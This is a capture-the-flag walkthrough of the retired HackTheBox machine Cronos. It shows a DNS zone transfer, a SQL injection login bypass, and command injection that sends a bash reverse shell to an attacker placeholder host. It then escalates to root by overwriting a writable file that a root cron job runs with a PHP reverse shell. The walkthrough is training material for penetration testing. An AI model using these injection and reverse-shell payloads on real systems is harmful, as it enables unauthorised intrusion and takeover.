HTB retired: Cronos — a full chain, start to root

htb-retired · Cronos

Cronos ties the three methodology references together in one path: enumeration finds a host you would otherwise never see, the web application is the foothold, and a scheduled job is the way up. It is a good model of how real chains form — no single clever exploit, a sequence of ordinary ones.

Enumerate: ask DNS for the hidden host

nmap -sC -sV -p- 10.10.10.13
# 22 SSH, 53 DNS, 80 HTTP

Port 80 serves a default page — the real app is on a virtual host you have to discover. A DNS service will often hand you its whole namespace if you ask it correctly:

echo "10.10.10.13 cronos.htb" | sudo tee -a /etc/hosts
dig axfr cronos.htb @10.10.10.13
# ...
# admin.cronos.htb.
# www.cronos.htb.

The zone transfer reveals admin.cronos.htb, linked from nowhere. Add it too:

echo "10.10.10.13 admin.cronos.htb" | sudo tee -a /etc/hosts

Foothold: two web bugs in a row

The admin panel fails the two highest-value web checks in order. First, an authentication bypass — the login does not sanitise input:

Username:  admin' -- -
Password:  (anything)

Inside is a “Net Tool” that runs ping and traceroute, passing your input straight to a shell — command injection. Start a listener, then submit:

8.8.8.8; bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'

id
# uid=33(www-data)

Escalate: a job on a timer

The name of the box is the hint. Read the system crontab:

cat /etc/crontab
# * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Root runs Laravel’s artisan every minute, and www-data can write to it:

ls -la /var/www/laravel/artisan   # writable by www-data

Replace it with a PHP reverse shell and wait for the next tick:

# on the attacker: nc -lvnp 5555
# overwrite artisan with a php reverse shell body pointed at <LHOST>:5555
# -> root within a minute

Why this one matters

Cronos is a compact exam host: several plain techniques in the right order, none of them exploit development. It rewards the loop — enumerate, exploit, escalate, enumerate again. The web half is the web application testing checklist; the escalation half is the privilege escalation reference; the loop itself is the enumeration method.